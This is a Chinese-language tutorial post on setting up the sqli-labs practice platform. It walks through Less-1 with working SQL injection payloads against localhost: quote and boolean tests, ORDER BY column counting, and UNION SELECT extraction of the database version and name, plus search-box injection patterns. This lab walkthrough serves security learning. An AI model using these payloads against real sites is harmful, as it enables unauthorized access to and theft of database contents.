SQL演练平台下载搭建
平台名称;SQLli-labs
平台介绍;一个印度印度程序员的杰作
相关教程;后台回复;注入平台
下载地址;https://github.com/Audi-1/sqli-labs
使用环境;PHPstudy sql的版本调到5.5
搭建教程;打开 sql-connections/db-creds.inc 文件
将数据库的username和password修改为你自己的mysql账号和密码
然后再访问127.0.0.1的页面,点击链接Setup/reset Database for labs创建数据库
<?php
//give your mysql connection username n password
$dbuser ='root';
$dbpass ='root';
$dbname ="security";
$host = 'localhost';
$dbname1 = "challenges";
?>
LESS-1
判断是否存在注入
http://127.0.0.1/sqlilabs/Less-1/?id=1'
出现错误提示;有点废话了.......
使用经典方法进行判断 字符型注入或者数字型注入
数字型注入;and 1=1;and 1=2
http://127.0.0.1/sqlilabs/Less-1/?id=1 and 1=1
返回页面正常
http://127.0.0.1/sqlilabs/Less-1/?id=1 and 1=2
返回页面正常,原理在上文讲过,判断不是数字型注入尝试用字符型注入尝试
字符型注入;'and '1'='1
http://127.0.0.1/sqlilabs/Less-1/?id=1 'and '1'='1
返回正常
http://127.0.0.1/sqlilabs/Less-1/?id=1 'and '1'='2
返回错误。字符型注入
看一下背后的源码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
源码解读
limit是mysql的语法
select * from table limit m,n
其中m是指记录开始的index,从0开始,表示第一条记录n是指从第m+1条开始,取n条。
SELECT * FROM users WHERE id='$id' LIMIT 0,1
即取出第1条至第2条,2条记录
运用昨天的order by 得出
http://127.0.0.1/sqlilabs/Less-1/?id=1 'order by 3 --+
我们通过使用order by
的语句来判断select
所查询字段的数目为3
构造语句
http://127.0.0.1/sqlilabs/Less-1/?id=1 'and 1=2 union select 1,2,3 --+
返回
Welcome Dhakkan
Your Login name:2
Your Password:3
页面显示第三位与第二位的信息
输入昨天的命令,查询数据库版本
http://127.0.0.1/sqlilabs/Less-1/?id=1 'and 1=2 union select 1,version(),database() --+
返回
Welcome Dhakkan
Your Login name:5.5.53
Your Password:security
搜索框注入判断预习
%'and 1=1 and '%' = '%
%'and 1=1 and '%'='%
编码注入;这个咱们讲了,就是不同的编码进行绕过WAF
宽字节注入
下篇写吧,今天有点累了
在线靶子;https://www.xss.tv/payload/sql/
道歉,这几天包括接下来的一个礼拜太累了,我报了个游泳班,缺觉,加上本来就身体羸弱,这段时间文章可能会有些纰漏,大家见谅。
靠红牛都带不动我,所以文章难免水一些,今天和昨天的文章其实都可以一篇给大家讲完,然后后面的再往下深入,所以各位抱歉了。
欢迎在后台指出我在文章中的错误,愿渗透云和大家一起进步